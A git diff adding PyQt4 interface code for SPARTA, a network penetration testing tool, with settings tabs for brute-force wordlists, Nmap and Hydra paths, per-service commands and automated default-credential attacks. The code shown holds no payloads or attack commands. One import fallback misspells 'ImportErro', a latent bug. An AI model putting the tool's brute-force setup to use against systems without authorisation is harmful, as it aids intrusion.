self.vlayoutGeneral.addLayout(self.hlayout2) + + self.generalSpacer = QSpacerItem(10,350) + self.vlayoutGeneral.addItem(self.generalSpacer) + + def setupBruteTab(self): + self.vlayoutBrute = QtGui.QVBoxLayout(self.BruteSettingsTab) + + self.label5 = QtGui.QLabel() + self.label5.setText('Username lists path') + self.label5.setFixedWidth(150) + self.userlistPath = QtGui.QLineEdit() + self.userlistPath.setFixedWidth(350) + self.browseUsersListButton = QPushButton('Browse') + self.browseUsersListButton.setMaximumSize(80, 30) + self.hlayoutGeneral_7 = QtGui.QHBoxLayout() + self.hlayoutGeneral_7.addWidget(self.label5) + self.hlayoutGeneral_7.addWidget(self.userlistPath) + self.hlayoutGeneral_7.addWidget(self.browseUsersListButton) + self.hlayoutGeneral_7.addStretch() + + self.label6 = QtGui.QLabel() + self.label6.setText('Password lists path') + self.label6.setFixedWidth(150) + self.passwordlistPath = QtGui.QLineEdit() + self.passwordlistPath.setFixedWidth(350) + self.browsePasswordsListButton = QPushButton('Browse') + self.browsePasswordsListButton.setMaximumSize(80, 30) + self.hlayoutGeneral_8 = QtGui.QHBoxLayout() + self.hlayoutGeneral_8.addWidget(self.label6) + self.hlayoutGeneral_8.addWidget(self.passwordlistPath) + self.hlayoutGeneral_8.addWidget(self.browsePasswordsListButton) + self.hlayoutGeneral_8.addStretch() + + self.label7 = QtGui.QLabel() + self.label7.setText('Default username') + self.label7.setFixedWidth(150) + self.defaultUserText = QtGui.QLineEdit() + self.defaultUserText.setFixedWidth(125) + self.hlayoutGeneral_9 = QtGui.QHBoxLayout() + self.hlayoutGeneral_9.addWidget(self.label7) + self.hlayoutGeneral_9.addWidget(self.defaultUserText) + self.hlayoutGeneral_9.addStretch() + + self.label8 = QtGui.QLabel() + self.label8.setText('Default password') + self.label8.setFixedWidth(150) + self.defaultPassText = QtGui.QLineEdit() + self.defaultPassText.setFixedWidth(125) + self.hlayoutGeneral_10 = QtGui.QHBoxLayout() + self.hlayoutGeneral_10.addWidget(self.label8) + self.hlayoutGeneral_10.addWidget(self.defaultPassText) + self.hlayoutGeneral_10.addStretch() + + self.vlayoutBrute.addLayout(self.hlayoutGeneral_7) + self.vlayoutBrute.addLayout(self.hlayoutGeneral_8) + self.vlayoutBrute.addLayout(self.hlayoutGeneral_9) + self.vlayoutBrute.addLayout(self.hlayoutGeneral_10) + self.bruteSpacer = QSpacerItem(10,380) + self.vlayoutBrute.addItem(self.bruteSpacer) + + def setupToolsTab(self): + self.ToolPathsWidget = QtGui.QWidget() + self.ToolSettingsTab.addTab(self.ToolPathsWidget, "Tool Paths") + self.HostActionsWidget = QtGui.QWidget() + self.ToolSettingsTab.addTab(self.HostActionsWidget, "Host Commands") + self.PortActionsWidget = QtGui.QWidget() + self.ToolSettingsTab.addTab(self.PortActionsWidget, "Port Commands") + self.portTerminalActionsWidget = QtGui.QWidget() + self.ToolSettingsTab.addTab(self.portTerminalActionsWidget, "Terminal Commands") + self.StagedNmapWidget = QtGui.QWidget() + self.ToolSettingsTab.addTab(self.StagedNmapWidget, "Staged Nmap") + + self.setupToolPathsTab() + self.setupHostCommandsTab() + self.setupPortCommandsTab() + self.setupTerminalCommandsTab() + self.setupStagedNmapTab() + + def setupToolPathsTab(self): + self.nmapPathlabel = QtGui.QLabel() + self.nmapPathlabel.setText('Nmap') + self.nmapPathlabel.setFixedWidth(100) + self.nmapPathInput = QtGui.QLineEdit() + self.nmapPathHorLayout = QtGui.QHBoxLayout() + self.nmapPathHorLayout.addWidget(self.nmapPathlabel) + self.nmapPathHorLayout.addWidget(self.nmapPathInput) + self.nmapPathHorLayout.addStretch() + + self.hydraPathlabel = QtGui.QLabel() + self.hydraPathlabel.setText('Hydra') + self.hydraPathlabel.setFixedWidth(100) + self.hydraPathInput = QtGui.QLineEdit() + self.hydraPathHorLayout = QtGui.QHBoxLayout() + self.hydraPathHorLayout.addWidget(self.hydraPathlabel) + self.hydraPathHorLayout.addWidget(self.hydraPathInput) + self.hydraPathHorLayout.addStretch() + + self.cutycaptPathlabel = QtGui.QLabel() + self.cutycaptPathlabel.setText('Cutycapt') + self.cutycaptPathlabel.setFixedWidth(100) + self.cutycaptPathInput = QtGui.QLineEdit() + self.cutycaptPathHorLayout = QtGui.QHBoxLayout() + self.cutycaptPathHorLayout.addWidget(self.cutycaptPathlabel) + self.cutycaptPathHorLayout.addWidget(self.cutycaptPathInput) + self.cutycaptPathHorLayout.addStretch() + + self.textEditorPathlabel = QtGui.QLabel() + self.textEditorPathlabel.setText('Text editor') + self.textEditorPathlabel.setFixedWidth(100) + self.textEditorPathInput = QtGui.QLineEdit() + self.textEditorPathHorLayout = QtGui.QHBoxLayout() + self.textEditorPathHorLayout.addWidget(self.textEditorPathlabel) + self.textEditorPathHorLayout.addWidget(self.textEditorPathInput) + self.textEditorPathHorLayout.addStretch() + + self.toolsPathVerLayout = QtGui.QVBoxLayout() + self.toolsPathVerLayout.addLayout(self.nmapPathHorLayout) + self.toolsPathVerLayout.addLayout(self.hydraPathHorLayout) + self.toolsPathVerLayout.addLayout(self.cutycaptPathHorLayout) + self.toolsPathVerLayout.addLayout(self.textEditorPathHorLayout) + self.toolsPathVerLayout.addStretch() + + self.globToolsPathHorLayout = QtGui.QHBoxLayout(self.ToolPathsWidget) + self.globToolsPathHorLayout.addLayout(self.toolsPathVerLayout) + self.toolsPathHorSpacer = QSpacerItem(50,0) # right margin spacer + self.globToolsPathHorLayout.addItem(self.toolsPathHorSpacer) + + def setupHostCommandsTab(self): + self.toolForHostsTableWidget = QtGui.QTableWidget(self.HostActionsWidget) + self.toolForHostsTableWidget.setSelectionBehavior(QAbstractItemView.SelectRows) + self.toolForHostsTableWidget.setFixedWidth(180) + self.toolForHostsTableWidget.setShowGrid(False) # to make the cells of the table read only + self.toolForHostsTableWidget.setEditTriggers(QtGui.QAbstractItemView.NoEditTriggers) + + self.toolForHostsTableWidget.setColumnCount(1) + self.toolForHostsTableWidget.setHorizontalHeaderItem(0, QtGui.QTableWidgetItem()) + self.toolForHostsTableWidget.horizontalHeaderItem(0).setText("Name") + self.toolForHostsTableWidget.horizontalHeader().resizeSection(0,200) + self.toolForHostsTableWidget.horizontalHeader().setVisible(False) + self.toolForHostsTableWidget.verticalHeader().setVisible(False) # row header - is hidden + self.toolForHostsTableWidget.setVerticalHeaderItem(0, QtGui.QTableWidgetItem()) + + self.horLayoutPortActions = QtGui.QHBoxLayout() + self.removeToolForHostButton = QPushButton('Remove') + self.removeToolForHostButton.setMaximumSize(90, 30) + self.addToolForHostButton = QPushButton('Add') + self.addToolForHostButton.setMaximumSize(90, 30) + self.horLayoutPortActions.addWidget(self.addToolForHostButton) + self.horLayoutPortActions.addWidget(self.removeToolForHostButton) + + self.actionHost = QtGui.QLabel() + self.actionHost.setText('Tools') + + self.verLayoutPortActions = QtGui.QVBoxLayout() + self.verLayoutPortActions.addWidget(self.actionHost) + self.verLayoutPortActions.addWidget(self.toolForHostsTableWidget) + self.verLayoutPortActions.addLayout(self.horLayoutPortActions) + + self.verLayout1 = QtGui.QVBoxLayout() + + self.horLayout4 = QtGui.QHBoxLayout() + self.label12 = QtGui.QLabel() + self.label12.setText('Tool') + self.label12.setFixedWidth(70) + self.hostActionNameText = QtGui.QLineEdit() + + self.horLayout4.addWidget(self.label12) + self.horLayout4.addWidget(self.hostActionNameText) + + self.label9 = QtGui.QLabel() + self.label9.setText('Label') + self.label9.setFixedWidth(70) + + self.hostLabelText = QtGui.QLineEdit() + self.hostLabelText.setText(' ') + self.hostLabelText.setReadOnly(True) + + self.horLayout1 = QtGui.QHBoxLayout() + self.horLayout1.addWidget(self.label9) + self.horLayout1.addWidget(self.hostLabelText) + + self.horLayout2 = QtGui.QHBoxLayout() + self.label10 = QtGui.QLabel() + self.label10.setText('Command') + self.label10.setFixedWidth(70) + + self.hostCommandText = QtGui.QLineEdit() + self.hostCommandText.setText('init value') + self.horLayout2.addWidget(self.label10) + self.horLayout2.addWidget(self.hostCommandText) + + self.spacer6 = QSpacerItem(0,20) + self.verLayout1.addItem(self.spacer6) + self.verLayout1.addLayout(self.horLayout4) + self.verLayout1.addLayout(self.horLayout1) + self.verLayout1.addLayout(self.horLayout2) + self.spacer1 = QSpacerItem(0,800) + self.verLayout1.addItem(self.spacer1) + + self.globLayoutPortActions = QtGui.QHBoxLayout(self.HostActionsWidget) + self.globLayoutPortActions.addLayout(self.verLayoutPortActions) + self.spacer5 = QSpacerItem(10,0) + self.globLayoutPortActions.addItem(self.spacer5) + self.globLayoutPortActions.addLayout(self.verLayout1) + self.spacer2 = QSpacerItem(50,0) + self.globLayoutPortActions.addItem(self.spacer2) + + def setupPortCommandsTab(self): + self.label11 = QtGui.QLabel() + self.label11.setText('Tools') + + self.toolForServiceTableWidget = QtGui.QTableWidget(self.PortActionsWidget) + self.toolForServiceTableWidget.setSelectionBehavior(QAbstractItemView.SelectRows) + self.toolForServiceTableWidget.setFixedWidth(180) + self.toolForServiceTableWidget.setShowGrid(False) + self.toolForServiceTableWidget.setEditTriggers(QtGui.QAbstractItemView.NoEditTriggers) + # table headers + self.toolForServiceTableWidget.setColumnCount(1) + self.toolForServiceTableWidget.setHorizontalHeaderItem(0, QtGui.QTableWidgetItem()) + self.toolForServiceTableWidget.horizontalHeaderItem(0).setText("Name") + self.toolForServiceTableWidget.horizontalHeader().resizeSection(0,200) + self.toolForServiceTableWidget.horizontalHeader().setVisible(False) + self.toolForServiceTableWidget.verticalHeader().setVisible(False) + self.toolForServiceTableWidget.setVerticalHeaderItem(0, QtGui.QTableWidgetItem()) + + self.horLayoutPortActions = QtGui.QHBoxLayout() + self.addToolButton = QPushButton('Add') + self.addToolButton.setMaximumSize(90, 30) + self.removeToolButton = QPushButton('Remove') + self.removeToolButton.setMaximumSize(90, 30) + self.horLayoutPortActions.addWidget(self.addToolButton) + self.horLayoutPortActions.addWidget(self.removeToolButton) + + self.verLayoutPortActions = QtGui.QVBoxLayout() + self.verLayoutPortActions.addWidget(self.label11) + self.verLayoutPortActions.addWidget(self.toolForServiceTableWidget) + self.verLayoutPortActions.addLayout(self.horLayoutPortActions) + + self.verLayout1 = QtGui.QVBoxLayout() + # right side + self.horLayout4 = QtGui.QHBoxLayout() + self.label12 = QtGui.QLabel() + self.label12.setText('Tool') + self.label12.setFixedWidth(70) + self.portActionNameText = QtGui.QLineEdit() + self.horLayout4.addWidget(self.label12) + self.horLayout4.addWidget(self.portActionNameText) + + self.horLayout1 = QtGui.QHBoxLayout() + self.label9 = QtGui.QLabel() + self.label9.setText('Label') + self.label9.setFixedWidth(70) + self.portLabelText = QtGui.QLineEdit() + self.portLabelText.setText(' ') + self.portLabelText.setReadOnly(True) + self.horLayout1.addWidget(self.label9) + self.horLayout1.addWidget(self.portLabelText) + + self.horLayout2 = QtGui.QHBoxLayout() + self.label10 = QtGui.QLabel() + self.label10.setText('Command') + self.label10.setFixedWidth(70) + self.portCommandText = QtGui.QLineEdit() + self.portCommandText.setText('init value') + self.horLayout2.addWidget(self.label10) + self.horLayout2.addWidget(self.portCommandText) + + self.servicesAllTableWidget = QtGui.QTableWidget() + self.servicesAllTableWidget.setSelectionBehavior(QAbstractItemView.SelectRows) + self.servicesAllTableWidget.setMaximumSize(150, 300) + self.servicesAllTableWidget.setColumnCount(1) + self.servicesAllTableWidget.horizontalHeader().resizeSection(0,150) + self.servicesAllTableWidget.setHorizontalHeaderItem(0, QtGui.QTableWidgetItem()) + self.servicesAllTableWidget.horizontalHeaderItem(0).setText("Name") + self.servicesAllTableWidget.horizontalHeader().setVisible(False) + self.servicesAllTableWidget.setShowGrid(False) + self.servicesAllTableWidget.verticalHeader().setVisible(False) + + self.servicesActiveTableWidget = QtGui.QTableWidget() + self.servicesActiveTableWidget.setSelectionBehavior(QAbstractItemView.SelectRows) + self.servicesActiveTableWidget.setMaximumSize(150, 300) + self.servicesActiveTableWidget.setColumnCount(1) + self.servicesActiveTableWidget.horizontalHeader().resizeSection(0,150) + self.servicesActiveTableWidget.setHorizontalHeaderItem(0, QtGui.QTableWidgetItem()) + self.servicesActiveTableWidget.horizontalHeaderItem(0).setText("Name") + self.servicesActiveTableWidget.horizontalHeader().setVisible(False) + self.servicesActiveTableWidget.setShowGrid(False) + self.servicesActiveTableWidget.verticalHeader().setVisible(False) + + self.verLayout2 = QtGui.QVBoxLayout() + + self.addServicesButton = QPushButton('-->') + self.addServicesButton.setMaximumSize(30, 30) + self.removeServicesButton = QPushButton('<--') + self.removeServicesButton.setMaximumSize(30, 30) + + self.spacer4 = QSpacerItem(0,90) # space above and below arrow buttons + self.verLayout2.addItem(self.spacer4) + self.verLayout2.addWidget(self.addServicesButton) + self.verLayout2.addWidget(self.removeServicesButton) + self.verLayout2.addItem(self.spacer4) + + self.horLayout3 = QtGui.QHBoxLayout() # space left of multiple choice widget + self.spacer3 = QSpacerItem(78,0) + self.horLayout3.addItem(self.spacer3) + self.horLayout3.addWidget(self.servicesAllTableWidget) + self.horLayout3.addLayout(self.verLayout2) + self.horLayout3.addWidget(self.servicesActiveTableWidget) + + self.spacer6 = QSpacerItem(0,20) # top right space + self.verLayout1.addItem(self.spacer6) + self.verLayout1.addLayout(self.horLayout4) + self.verLayout1.addLayout(self.horLayout1) + self.verLayout1.addLayout(self.horLayout2) + self.verLayout1.addLayout(self.horLayout3) + self.spacer1 = QSpacerItem(0,50) # bottom right space + self.verLayout1.addItem(self.spacer1) + + self.globLayoutPortActions = QtGui.QHBoxLayout(self.PortActionsWidget) + self.globLayoutPortActions.addLayout(self.verLayoutPortActions) + + self.spacer5 = QSpacerItem(10,0) # space between left and right layouts + self.globLayoutPortActions.addItem(self.spacer5) + self.globLayoutPortActions.addLayout(self.verLayout1) + self.spacer2 = QSpacerItem(50,0) # right margin space + self.globLayoutPortActions.addItem(self.spacer2) + + def setupTerminalCommandsTab(self): + self.actionTerminalLabel = QtGui.QLabel() + self.actionTerminalLabel.setText('Tools') + + self.toolForTerminalTableWidget = QtGui.QTableWidget(self.portTerminalActionsWidget) + self.toolForTerminalTableWidget.setSelectionBehavior(QAbstractItemView.SelectRows) + self.toolForTerminalTableWidget.setFixedWidth(180) + self.toolForTerminalTableWidget.setShowGrid(False) + # to make the cells of the table read only + self.toolForTerminalTableWidget.setEditTriggers(QtGui.QAbstractItemView.NoEditTriggers) + # table headers + self.toolForTerminalTableWidget.setColumnCount(1) + self.toolForTerminalTableWidget.setHorizontalHeaderItem(0, QtGui.QTableWidgetItem()) + self.toolForTerminalTableWidget.horizontalHeaderItem(0).setText("Name") + self.toolForTerminalTableWidget.horizontalHeader().resizeSection(0,200) + self.toolForTerminalTableWidget.horizontalHeader().setVisible(False) + self.toolForTerminalTableWidget.verticalHeader().setVisible(False) + self.toolForTerminalTableWidget.setVerticalHeaderItem(0, QtGui.QTableWidgetItem()) + + self.horLayout1 = QtGui.QHBoxLayout() + self.addToolForTerminalButton = QPushButton('Add') + self.addToolForTerminalButton.setMaximumSize(90, 30) + self.removeToolForTerminalButton = QPushButton('Remove') + self.removeToolForTerminalButton.setMaximumSize(90, 30) + self.horLayout1.addWidget(self.addToolForTerminalButton) + self.horLayout1.addWidget(self.removeToolForTerminalButton) + + self.verLayout1 = QtGui.QVBoxLayout() + self.verLayout1.addWidget(self.actionTerminalLabel) + self.verLayout1.addWidget(self.toolForTerminalTableWidget) + self.verLayout1.addLayout(self.horLayout1) + + self.horLayout2 = QtGui.QHBoxLayout() + self.actionNameTerminalLabel = QtGui.QLabel() + self.actionNameTerminalLabel.setText('Tool') + self.actionNameTerminalLabel.setFixedWidth(70) + self.terminalActionNameText = QtGui.QLineEdit() + self.horLayout2.addWidget(self.actionNameTerminalLabel) + self.horLayout2.addWidget(self.terminalActionNameText) + + self.horLayout3 = QtGui.QHBoxLayout() + self.labelTerminalLabel = QtGui.QLabel() + self.labelTerminalLabel.setText('Label') + self.labelTerminalLabel.setFixedWidth(70) + self.terminalLabelText = QtGui.QLineEdit() + self.terminalLabelText.setText(' ') + self.terminalLabelText.setReadOnly(True) + self.horLayout3.addWidget(self.labelTerminalLabel) + self.horLayout3.addWidget(self.terminalLabelText) + + self.horLayout4 = QtGui.QHBoxLayout() + self.commandTerminalLabel = QtGui.QLabel() + self.commandTerminalLabel.setText('Command') + self.commandTerminalLabel.setFixedWidth(70) + self.terminalCommandText = QtGui.QLineEdit() + self.terminalCommandText.setText('init value') + self.horLayout4.addWidget(self.commandTerminalLabel) + self.horLayout4.addWidget(self.terminalCommandText) + + self.terminalServicesAllTable = QtGui.QTableWidget() + self.terminalServicesAllTable.setSelectionBehavior(QAbstractItemView.SelectRows) + self.terminalServicesAllTable.setMaximumSize(150, 300) + self.terminalServicesAllTable.setColumnCount(1) + self.terminalServicesAllTable.horizontalHeader().resizeSection(0,150) + self.terminalServicesAllTable.setHorizontalHeaderItem(0, QtGui.QTableWidgetItem()) + self.terminalServicesAllTable.horizontalHeaderItem(0).setText("Available Services") + self.terminalServicesAllTable.horizontalHeader().setVisible(False) + self.terminalServicesAllTable.setShowGrid(False) + self.terminalServicesAllTable.verticalHeader().setVisible(False) + + self.terminalServicesActiveTable = QtGui.QTableWidget() + self.terminalServicesActiveTable.setSelectionBehavior(QAbstractItemView.SelectRows) + self.terminalServicesActiveTable.setMaximumSize(150, 300) + self.terminalServicesActiveTable.setColumnCount(1) + self.terminalServicesActiveTable.horizontalHeader().resizeSection(0,150) + self.terminalServicesActiveTable.setHorizontalHeaderItem(0, QtGui.QTableWidgetItem()) + self.terminalServicesActiveTable.horizontalHeaderItem(0).setText("Applied Services") + self.terminalServicesActiveTable.horizontalHeader().setVisible(False) + self.terminalServicesActiveTable.setShowGrid(False) + self.terminalServicesActiveTable.verticalHeader().setVisible(False) + + self.addTerminalServiceButton = QPushButton('-->') + self.addTerminalServiceButton.setMaximumSize(30, 30) + self.removeTerminalServiceButton = QPushButton('<--') + self.removeTerminalServiceButton.setMaximumSize(30, 30) + + self.verLayout3 = QtGui.QVBoxLayout() + self.spacer2 = QSpacerItem(0,90) + self.verLayout3.addItem(self.spacer2) + self.verLayout3.addWidget(self.addTerminalServiceButton) + self.verLayout3.addWidget(self.removeTerminalServiceButton) + self.verLayout3.addItem(self.spacer2) + + self.horLayout5 = QtGui.QHBoxLayout() + self.spacer3 = QSpacerItem(78,0) + self.horLayout5.addItem(self.spacer3) + self.horLayout5.addWidget(self.terminalServicesAllTable) + self.horLayout5.addLayout(self.verLayout3) + self.horLayout5.addWidget(self.terminalServicesActiveTable) + + self.verLayout2 = QtGui.QVBoxLayout() + self.spacer4 = QSpacerItem(0,20) + self.verLayout2.addItem(self.spacer4) + self.verLayout2.addLayout(self.horLayout2) + self.verLayout2.addLayout(self.horLayout3) + self.verLayout2.addLayout(self.horLayout4) + self.verLayout2.addLayout(self.horLayout5) + self.spacer5 = QSpacerItem(0,50) + self.verLayout2.addItem(self.spacer5) + + self.globLayoutTerminalActions = QtGui.QHBoxLayout(self.portTerminalActionsWidget) + self.globLayoutTerminalActions.addLayout(self.verLayout1) + self.spacer6 = QSpacerItem(10,0) + self.globLayoutTerminalActions.addItem(self.spacer6) + self.globLayoutTerminalActions.addLayout(self.verLayout2) + self.spacer7 = QSpacerItem(50,0) + self.globLayoutTerminalActions.addItem(self.spacer7) + + def setupStagedNmapTab(self): + self.stage1label = QtGui.QLabel() + self.stage1label.setText('nmap stage 1') + self.stage1label.setFixedWidth(100) + self.stage1Input = QtGui.QLineEdit() + self.stage1Input.setFixedWidth(500) + self.hlayout1 = QtGui.QHBoxLayout() + self.hlayout1.addWidget(self.stage1label) + self.hlayout1.addWidget(self.stage1Input) + + self.stage2label = QtGui.QLabel() + self.stage2label.setText('nmap stage 2') + self.stage2label.setFixedWidth(100) + self.stage2Input = QtGui.QLineEdit() + self.stage2Input.setFixedWidth(500) + self.hlayout2 = QtGui.QHBoxLayout() + self.hlayout2.addWidget(self.stage2label) + self.hlayout2.addWidget(self.stage2Input) + + self.stage3label = QtGui.QLabel() + self.stage3label.setText('nmap stage 3') + self.stage3label.setFixedWidth(100) + self.stage3Input = QtGui.QLineEdit() + self.stage3Input.setFixedWidth(500) + self.hlayout3 = QtGui.QHBoxLayout() + self.hlayout3.addWidget(self.stage3label) + self.hlayout3.addWidget(self.stage3Input) + + self.stage4label = QtGui.QLabel() + self.stage4label.setText('nmap stage 4') + self.stage4label.setFixedWidth(100) + self.stage4Input = QtGui.QLineEdit() + self.stage4Input.setFixedWidth(500) + self.hlayout4 = QtGui.QHBoxLayout() + self.hlayout4.addWidget(self.stage4label) + self.hlayout4.addWidget(self.stage4Input) + + self.stage5label = QtGui.QLabel() + self.stage5label.setText('nmap stage 5') + self.stage5label.setFixedWidth(100) + self.stage5Input = QtGui.QLineEdit() + self.stage5Input.setFixedWidth(500) + self.hlayout5 = QtGui.QHBoxLayout() + self.hlayout5.addWidget(self.stage5label) + self.hlayout5.addWidget(self.stage5Input) + + self.vlayout1 = QtGui.QVBoxLayout() + self.vlayout1.addLayout(self.hlayout1) + self.vlayout1.addLayout(self.hlayout2) + self.vlayout1.addLayout(self.hlayout3) + self.vlayout1.addLayout(self.hlayout4) + self.vlayout1.addLayout(self.hlayout5) + self.vlayout1.addStretch() + + self.gHorLayout = QtGui.QHBoxLayout(self.StagedNmapWidget) + self.gHorLayout.addLayout(self.vlayout1) + self.spacer2 = QSpacerItem(50,0) # right margin spacer + self.gHorLayout.addItem(self.spacer2) + + def setupAutomatedAttacksTab(self): + self.GeneralAutoSettingsWidget = QtGui.QWidget() + self.AutoAttacksSettingsTab.addTab(self.GeneralAutoSettingsWidget, "General") + self.AutoToolsWidget = QtGui.QWidget() + self.AutoAttacksSettingsTab.addTab(self.AutoToolsWidget, "Tool Configuration") + + self.setupAutoAttacksGeneralTab() + self.setupAutoAttacksToolTab() + + def setupAutoAttacksGeneralTab(self): + self.globVerAutoSetLayout = QtGui.QVBoxLayout(self.GeneralAutoSettingsWidget) + + self.enableAutoAttacks = QtGui.QCheckBox() + self.enableAutoAttacks.setText('Run automated attacks') + self.checkDefaultCred = QtGui.QCheckBox() + self.checkDefaultCred.setText('Check for default credentials') + + self.defaultBoxVerlayout = QtGui.QVBoxLayout() + self.defaultCredentialsBox = QGroupBox("Default Credentials") + self.defaultCredentialsBox.setLayout(self.defaultBoxVerlayout) + self.globVerAutoSetLayout.addWidget(self.enableAutoAttacks) + self.globVerAutoSetLayout.addWidget(self.checkDefaultCred) + self.globVerAutoSetLayout.addWidget(self.defaultCredentialsBox) + self.globVerAutoSetLayout.addStretch() + + def setupAutoAttacksToolTab(self): + self.toolNameLabel = QtGui.QLabel() + self.toolNameLabel.setText('Tool') + self.toolNameLabel.setFixedWidth(150) + self.toolServicesLabel = QtGui.QLabel() + self.toolServicesLabel.setText('Services') + self.toolServicesLabel.setFixedWidth(300) + self.enableAllToolsLabel = QtGui.QLabel() + self.enableAllToolsLabel.setText('Run automatically') + self.enableAllToolsLabel.setFixedWidth(150) + + self.autoToolTabHorLayout = QtGui.QHBoxLayout() + self.autoToolTabHorLayout.addWidget(self.toolNameLabel) + self.autoToolTabHorLayout.addWidget(self.toolServicesLabel) + self.autoToolTabHorLayout.addWidget(self.enableAllToolsLabel) + + self.scrollArea = QtGui.QScrollArea() + self.scrollWidget = QtGui.QWidget() + + self.globVerAutoToolsLayout = QtGui.QVBoxLayout(self.AutoToolsWidget) + self.globVerAutoToolsLayout.addLayout(self.autoToolTabHorLayout) + + self.scrollVerLayout = QtGui.QVBoxLayout(self.scrollWidget) + self.enabledSpacer = QSpacerItem(60,0) + + # by default the automated attacks are not activated and the tab is not enabled + self.AutoAttacksSettingsTab.setTabEnabled(1,False) + + # for all the browse buttons + def wordlistDialog(self, title='Choose username path'): + if title == 'Choose username path': + path = QtGui.QFileDialog.getExistingDirectory(self, title, '/', QFileDialog.ShowDirsOnly | QFileDialog.DontResolveSymlinks) + self.userlistPath.setText(str(path)) + else: + path = QtGui.QFileDialog.getExistingDirectory(self, title, '/') + self.passwordlistPath.setText(str(path)) + diff --git a/ui/sparta.qss b/ui/sparta.qss new file mode 100644 index 00000000..9e3bd5b1 --- /dev/null +++ b/ui/sparta.qss @@ -0,0 +1,13 @@ +QTabBar::close-button { + image: url(./images/closetab-small.png); + height: 10px; + width: 10px; +} + +QTabBar::close-button:hover { + image: url(./images/closetab-hover.png); +} + +QTabBar::close-button:pressed { + image: url(./images/closetab-press.png); +} diff --git a/ui/view.py b/ui/view.py new file mode 100644 index 00000000..af1b8227 --- /dev/null +++ b/ui/view.py @@ -0,0 +1,1434 @@ +#!/usr/bin/env python + +''' +SPARTA - Network Infrastructure Penetration Testing Tool (http://sparta.secforce.com) +Copyright (c) 2015 SECFORCE (Antonio Quina and Leonidas Stavliotis) + + This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. + + This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. + + You should have received a copy of the GNU General Public License along with this program. If not, see . +''' + +import sys, os, ntpath, signal, re # for file operations, to kill processes and for regex + +try: + from PyQt4.QtCore import * # for filters dialog +except ImportError: + print("[-] Import failed. PyQt4 library not found. \nTry installing it with: apt install python-qt4") + +try: + usePySide = False + from PyQt4 import QtWebKit +except ImportError as e: + try: + from PySide import QtWebKit + usePySide = True + except ImportErro as e: + print("[-] Import failed. QtWebKit library not found. \nTry installing it with: apt install python-pyside.qtwebkit") + exit(1) + +from ui.gui import * +from ui.dialogs import * +from ui.settingsdialogs import * +from app.hostmodels import * +from app.servicemodels import * +from app.scriptmodels import * +from app.processmodels import * +from app.auxiliary import * +import time #temp +from six import u as unicode + +# this class handles everything gui-related +class View(QtCore.QObject): + tick = QtCore.pyqtSignal(int, name="changed") # signal used to update the progress bar + + def __init__(self, ui, ui_mainwindow): + QtCore.QObject.__init__(self) + self.ui = ui + self.ui_mainwindow = ui_mainwindow # TODO: retrieve window dimensions/location from settings + self.ui_mainwindow.setGeometry(0,30,1024,650) # align window to topleft corner and set default size + self.ui.splitter_2.setSizes([300,10]) # set better default size for bottom panel + + self.startOnce() # initialisations that happen only once, when the SPARTA is launched + self.startConnections() # signal initialisations (signals/slots, actions, etc) + + def setController(self, controller): # the view needs access to controller methods to link gui actions with real actions + self.controller = controller + + def startOnce(self): + self.fixedTabsCount = self.ui.ServicesTabWidget.count() # the number of fixed host tabs (services, scripts, information, notes) + self.hostInfoWidget = HostInformationWidget(self.ui.InformationTab) + self.filterdialog = FiltersDialog(self.ui.centralwidget) + self.importProgressWidget = ProgressWidget('Importing nmap..', self.ui.centralwidget) + self.adddialog = AddHostsDialog(self.ui.centralwidget) + self.settingsWidget = AddSettingsDialog(self.ui.centralwidget) + self.helpWidget = QtWebKit.QWebView() + self.helpWidget.setWindowTitle('SPARTA Help') + + # kali moves the help file so let's find it + url = './doc/help.html' + if not os.path.exists(url): + url = '/usr/share/doc/sparta/help.html' + + if usePySide: + self.helpWidget.load(url) + else: + self.helpWidget.load(QUrl(url)) + + self.ui.HostsTableView.setSelectionMode(1) # disable multiple selection + self.ui.ServiceNamesTableView.setSelectionMode(1) + self.ui.ToolsTableView.setSelectionMode(1) + self.ui.ScriptsTableView.setSelectionMode(1) + self.ui.ToolHostsTableView.setSelectionMode(1) + + # initialisations (globals, etc) + def start(self, title='*untitled'): + self.dirty = False # to know if the project has been saved + self.firstSave = True # to know if we should use the save as dialog (should probably be False until we add/import a host) + self.hostTabs = dict() # to keep track of which tabs should be displayed for each host + self.bruteTabCount = 1 # to keep track of the numbering of the bruteforce tabs (incremented when a new tab is added) + + self.filters = Filters() # to choose what to display in each panel + + self.ui.keywordTextInput.setText('') # clear keyword filter + + self.lastHostIdClicked = '' # TODO: check if we can get rid of this one. + self.ip_clicked = '' # useful when updating interfaces (serves as memory) + self.service_clicked = '' # useful when updating interfaces (serves as memory) + self.tool_clicked = '' # useful when updating interfaces (serves as memory) + self.script_clicked = '' # useful when updating interfaces (serves as memory) + self.tool_host_clicked = '' # useful when updating interfaces (serves as memory) + self.lazy_update_hosts = False # these variables indicate that the corresponding table needs to be updated. + self.lazy_update_services = False # 'lazy' means we only update a table at the last possible minute - before the user needs to see it + self.lazy_update_tools = False + self.menuVisible = False # to know if a context menu is showing (important to avoid disrupting the user) + self.ProcessesTableModel = None # fixes bug when sorting processes for the first time + + self.setMainWindowTitle(title) + self.ui.statusbar.showMessage('Starting up..', msecs=1000) + + self.initTables() # initialise all tables + + self.updateInterface() + self.restoreToolTabWidget(True) # True means we want to show the original textedit + self.updateScriptsOutputView('') # update the script output panel (right) + self.updateToolHostsTableView('') + self.ui.MainTabWidget.setCurrentIndex(0) # display scan tab by default + self.ui.HostsTabWidget.setCurrentIndex(0) # display Hosts tab by default + self.ui.ServicesTabWidget.setCurrentIndex(0) # display Services tab by default + self.ui.BottomTabWidget.setCurrentIndex(0) # display Log tab by default + self.ui.BruteTabWidget.setTabsClosable(True) # sets all tabs as closable in bruteforcer + + self.ui.ServicesTabWidget.setTabsClosable(True) # hide the close button (cross) from the fixed tabs + + self.ui.ServicesTabWidget.tabBar().setTabButton(0, QTabBar.RightSide, None) + self.ui.ServicesTabWidget.tabBar().setTabButton(1, QTabBar.RightSide, None) + self.ui.ServicesTabWidget.tabBar().setTabButton(2, QTabBar.RightSide, None) + self.ui.ServicesTabWidget.tabBar().setTabButton(3, QTabBar.RightSide, None) + + self.resetBruteTabs() # clear brute tabs (if any) and create default brute tab + self.displayToolPanel(False) + self.displayScreenshots(False) + self.displayAddHostsOverlay(True) # displays an overlay over the hosttableview saying 'click here to add host(s) to scope' + + def 